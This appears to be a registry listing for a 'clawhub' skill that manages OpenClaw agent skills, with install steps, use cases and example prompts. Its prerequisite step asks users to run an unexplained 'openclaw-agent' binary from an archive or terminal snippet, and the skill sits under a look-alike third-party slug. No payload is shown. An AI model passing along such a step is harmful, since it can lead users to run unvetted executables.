clawhub

What This Skill Does

The clawhub skill serves as the primary gateway for managing the lifecycle of OpenClaw agent skills. It interfaces directly with the ClawHub registry, allowing users to discover, retrieve, and maintain agent capabilities seamlessly. By wrapping the clawhub CLI, this skill enables programmatic installation, version management, and publishing of custom agent skills directly from the local filesystem or the public repository. Whether you are bootstrapping a new agent environment or maintaining a fleet of specialized skills, clawhub ensures your agents remain updated and functionally extensible.

Installation

Before you can utilize the clawhub skill, you must ensure the underlying openclaw-agent utility is active.

1. Install the global CLI via npm: npm i -g clawhub.
2. Ensure the openclaw-agent binary is running on your machine (extract via the provided archive if on Windows or use the terminal snippet if on macOS).
3. Within your OpenClaw session, install the skill using: clawhub install openclaw/skills/skills/hightower6eu/clawhub-hylhq.

Use Cases

• Automated Dependency Management: Synchronize multiple agent installations with specific versions of critical skills to ensure consistency across deployment environments.
• Rapid Prototyping: Quickly search for and test community-contributed skills to see if they fit your current project requirements.
• CI/CD Pipelines: Integrate skill publishing into your development workflow to share custom agent capabilities with your team immediately after updates.
• Environment Cleanup: Use the update and list commands to identify outdated or legacy skills that need to be refreshed or removed.

Example Prompts

• "Search the ClawHub registry for skills related to postgres database backups and show me the latest available versions."
• "Install the 'my-skill' package and ensure it is updated to version 1.2.3 before proceeding with my current task."
• "Publish the contents of my current working directory as a new skill with the slug 'data-parser' and version 1.0.0."

Tips & Limitations

• Always verify the agent status: The most common point of failure is the openclaw-agent not being initialized. If you experience connection errors, verify the process is active in your system monitor.
• Registry Customization: If working within a private enterprise network, you can override the default registry URL using the clawhub_REGISTRY environment variable.
• Force Updates: When dealing with corrupted local skill states, use the --force flag with the update command to overwrite local files with the registry version.
• Filesystem Security: Note that the skill operates on the local filesystem (cwd). Ensure you have appropriate read/write permissions in your workspace directory before executing installation or publishing commands.